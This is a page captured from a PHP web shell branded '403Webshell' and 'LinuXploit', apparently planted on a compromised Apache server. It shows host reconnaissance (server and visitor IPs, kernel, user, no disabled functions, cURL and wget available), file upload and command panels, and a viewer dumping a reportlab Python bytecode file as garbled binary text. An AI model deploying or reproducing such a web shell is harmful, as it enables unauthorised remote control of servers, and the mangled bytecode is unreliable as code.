403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportlab/graphics/charts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportlab/graphics/charts/__pycache__/utils3d.cpython-311.pyc
�

}G�b���ddlmZmZmZd7d�Zd7d�Z		d8d�ZGd�d	��Zd
�Z			d9d�Z	ddl
mZed
zZdezZ
dezZd�Zd�Zd�Zd�ZdZdez
ZGd�d��Zd�Zd:d�Zedkr�ddlmZddlmZmZedd��Zeedddd d!d!ee�"�	�	eed#d$dd%d!d!ee�"�	�	e�d&gd'd(�)��eegd*�gd+�gd,�g����eed-d.gd/d0gg����eed1d.gd2d0gg����eed3d4gd0d5gg����eegd*�d3d4ggd6�g����dSdS);�)�Drawing�Polygon�LineN皙�����?c�8�|�ddlm}|r||d|z
��}|S)Nr)�Blacker�)�reportlab.lib.colorsr)�col�shd�shadingrs    �C/usr/lib/python3/dist-packages/reportlab/graphics/charts/utils3d.py�
_getShadedrs8��
�{�0�0�0�0�0�0��,�g�g�c�!�G�)�,�,���J�c�8�|�ddlm}|r||d|z
��}|S)Nr)�Whiterr	)r
r)rr�lightingrs    r�_getLitr	s8��
�{�/�/�/�/�/�/��,�f�f�S��8��,�,���Jrr	c��t|d|��}t|d|dz��}||	|
|fd�}
t||��}|s|r*||kr|
|||||||���|
|||||||���|�t||||||||f|	|
|d�����|s|r,|�t	|||||
|	p|�����dSdS)Ng@c
�|�|�t||||z||z||z||z||f|||	d�����dS)Nr	)�strokeWidth�strokeColor�	fillColor�strokeLineJoin)�addr)
�x1�x2�y1�y2�xoff�yoff�Grrrs
          r�_add_3d_barz!_draw_3d_bar.<locals>._add_3d_barsh��	���g�r�"�b��g�b��g�r�$�w�r�$�w��2�F�#��	�ab�d�d�d�	e�	e�	e�	e�	er)rr	)rrrr)rr)r�maxrrr)r"rr�y0�yhigh�xdepth�ydepthr�fillColorShadedrrr
�fillColorShadedTopr#�usds               r�_draw_3d_barr,sS��!��4��8�8�O�#�I�d�7�3�;�?�?���K�[�T]�e�e�e�e�
�b�%�.�.�C�
�T��T�
�u�9�9��K��R��U�F�F�o�V�V�V�V���B��C��f�f�@R�S�S�S�S��E�E�'�2�b��B�r�%��5�1��[�I�]^�`�`�`�a�a�a��l��l�	���d�B��R��+�;�Ki�Zi�j�j�j�k�k�k�k�k�l�lrc��eZdZdd�ZdS)�_YStriprc�j�||_||_||_||_t	|||��|_dS�N)r%r�sloperrr))�selfr%rr1rr)r
s       r�__init__z_YStrip.__init__)s8����������
�"���)�)�O�G�L�L����rN)r)�__name__�
__module__�__qualname__r3�rrr.r.(s.������M�M�M�M�M�Mrr.c�.�||||z||z||z||z||gSr0r7)�x0rr%rr r!s      r�_ystrip_polyr:0s)���r�"�T�'�"�T�'�"�T�'�"�T�'�"�R�8�8rc��t||z
��}||z}||z}|dkrdp|t|��z}t||z
��}|dkrdp||z
|z}||krt|	|
|��p|	}||z}||z}d}|�||fg}n�||z
dz||z
dzzdz}||z}||kr||fg}n�t|t|��z��dz}t||z
��|z}t||z
��|z}g}|j}td|��D]} |||| zz||| zzf���|j}||z}!||z}"|D]I\}}#||z}$|#|z}%tt|!|$|"|%||��|||���}&|d|||!|"|&f��|$}!|%}"�JdS)Nrg��P.5�_g333333�?���?r	)rrr)	�abs�floatr�int�append�rangerrr:)'r"r9rr%r�z0�z1�theta_x�theta_yrr)�	tileWidthrr�strokeDashArrayr
�zwidthr'r(�depth_slope�xr1�c�zy0�zx0�tileStrokeWidth�D�T�n�dx�dy�a�i�x_0�y_0�y�x_1�y_1�Ps'                                       r�_make_3d_line_infor]4s*��
��B��Z�Z�F�
�G�^�F�
�G�^�F��1�9�&��?�6�'�%��-�-�*?�K�
�b��e���A�
�q�D�N�U�'�r�"�u�a�i�E�
�k��K�j��?�7�K�K�X�y�A�
�W�*�C�
�W�*�C��O�����W�I�����e�a�Z��B���
�
"�S�(���9�$���Y�;�;��R��	�A�A��A�e�I�&�&�&�'�'��)�A��r�"�u���a��B��r�"�u���a��B��A���A��1�Q�Z�Z�
%�
%����2�b��d�7�2�b��d�7�#�$�$�$�$�	��A�
�S�&�C�
�S�&�C������!���e����e���L��c�3��V�V�D�D� !�q�o�
O�
O�
O��	��1�R��3�s�1�
����������r)�pir=r<g�f@c��|tzSr0��_180_pi)�angles r�_2radrcgs����=�rc�:�|tz}|dkr
|tz
}|S)N���ư�)�_2pi)�radianss r�mod_2pirhjs!����n�G��u�}�}�g��o�g��Nrc��|tzSr0r`)�os r�_2degrkos���W�9�rc�&�|dz}|dkr|dz
}|S)Nihrer7�rUs r�_360rnrs!����H�A���w�w��S����Hr�:�0�yE>c�$�eZdZd�Zd�ZeZd�ZdS)�_Segmentc�r�||}||dz
d}||dz
d}||d}||d}||kr||||f\}}}}t||z
��|_t||z
��|_||_||_||_||_||_||_||_	dS)Nr	r)
r?rU�br9rr%r�seriesrV�s)	r2rurV�data�Sr9r%rrs	         rr3z_Segment.__init__zs�����G��
�q��s�V�A�Y��
�q��s�V�A�Y��
�q�T�!�W��
�q�T�!�W��
�b�5�5��R��2�+�K�B�r�"�R��r�"�u������r�"�u���������������������������rc	�H�d|j�d|j�d|j�d|j�d�	S)Nz[(�,z),(z)])r9r%rr)r2s r�__str__z_Segment.__str__�s+���&*�g�g�g�d�g�g�g�d�g�g�g�d�g�g�g�F�Frc���|j}|j}||ksJ�||jkrdS|j|jkr|j|jdz
|jdzfvrdS|j}|j}|j}|j}||z||zz
}	d|	cxkrdkrnndS||z
}
|j|jz
}||z||
zz
|	z}||z||
zz
|	z}
|dks|dks|
dks|
dkrdS|||zz}|j||zz}t|cxkrtkr,nn)|j|j||f}||vr|�	|��t|
cxkrtkr/ndS|j|j||f}||vr|�	|��dSdSdS)z4try to find an intersection with _Segment o
        r	Ng:�0�yE�ror)
r9rrurVrUrsr%�_ZERO�_ONErA)r2rj�Ir9�ox0rUrs�oa�ob�detrSrT�u�ourKrY�ts                 r�	intersectz_Segment.intersect�s����W���d���3�w�w�w�w��t�w�;�;�q�q��3���;�;�1�3�4�6�!�8�D�F�1�H�"5�5�5�v�v��F���F��
�S��
�S����d�R��T�k����>�>�>�>�T�>�>�>�>�>�6�6�
�#�X��
�W�q�t�^��
��U�R��U�]�C�����d�Q�r�T�k�3�
���Q�3�3�!�A�#�#��A����A���v�v���1��H���G�a��c�M����<�<�<�<�4�<�<�<�<�<���t�v�a��!�A���z�z�1�8�8�A�;�;�;���=�=�=�=�D�=�=�=�=�=�=���A�C��!��A���z�z�A�H�H�Q�K�K�K�K�K��=��zrN)r4r5r6r3rz�__repr__r�r7rrrqrqysK���������*G�G�G��H�(�(�(�(�(rrqc�N�|j|j|j|j|j|jfSr0)r9rr%rrurVrms r�_segKeyr��s!��
�D���a�d�1�4���A�C�(�(rc�b�g}|j}tt|����D]r}||}|s�
t|��}|dkr�#td|��D]>}t|||��}|jt|j��z|kr||���?�s|�t���g}	t|��}td|dz
��D]B}||}t|dz|��D]$}
|�	||
|	��dkrn�%�C|	���|	S)aV
    data is a sequence of series
    each series is a list of (x,y) coordinates
    where x & y are ints or floats

    find_intersections returns a sequence of 4-tuples
        i, j, x, y

    where i is a data index j is an insertion position for data[i]
    and x, y are coordinates of an intersection of series data[i]
    with some other series. If correctly implemented we get all such
    intersections. We don't count endpoint intersections and consider
    parallel lines as non intersecting (even when coincident).
    We ignore segments that have an estimated size less than small.
    r	)�keyr)
rArB�lenrqrUr>rs�sortr�r�)rv�smallrwrUru�dsrRrV�segr~�js           r�find_intersectionsr��sD��$	�A�	��A�
�3�t�9�9�
�
�/�/��
�!�W����8���G�G���a�4�4���q����	/�	/�A��1�Q�t�$�$�C��u�S���Z�Z���&�&���#�����	/��F�F�w�F����
�A��A���A�
�1�Q�q�S�\�\�-�-��
�a�D���q��s�1���	-�	-�A��{�{�1�Q�4��"�"�A�%�%�u�u�%���F�F�H�H�H��Hr�__main__)r)�	lightgrey�pinki,���
��2�)rr��(�-�pdf�.r,)�formats�outDir�fnRoot))rr=)r	r=)r=r)r=r	))g�:�?皙�����?�rr��r皙�����?�rr�r	r	)�rr	�r�r�r	rr�r�r�r�)r�r��rg�������?r�r�r�)r�r�r�)Nr)NNNr	r)Nr	NNNr)r)�reportlab.graphics.shapesrrrrrr,r.r:r]�mathr^�_pi_2rfrarcrhrkrnr|r}rqr�r�r4r
r�r�rP�save�printr7rr�<module>r�sU��<�<�<�<�<�<�<�<�<�<���������15�9<�l�l�l�l�0M�M�M�M�M�M�M�M�9�9�9�@A�HL��	,�,�,�,�\������
�3�����t���R���������
���
�
�
�
	
����w��5(�5(�5(�5(�5(�5(�5(�5(�n)�)�)�$
�$
�$
�$
�L�Z���1�1�1�1�1�1�4�4�4�4�4�4�4�4����C���A��L��B��B��A�q�I�4�P�P�P�P��L��B��B��A�q�I�4�P�P�P�P��F�F�E�7�#�^�F�<�<�<�	�E�
�
�?�?�?�@s�@s�@s�uN�uN�uN�O�P�P�Q�Q�Q�	�E�
�
�z�:�6���8L�M�
N�
N�O�O�O�	�E�
�
�z�:�6��Z�8P�Q�
R�
R�S�S�S�	�E�
�
�u�U�m�Y�w�,?�@�
A�
A�B�B�B�	�E�
�
�?�?�?��u�
�Nk�Nk�Nk�l�
m�
m�n�n�n�n�n��r

Youez - 2016 - github.com/yon3zu
LinuXploit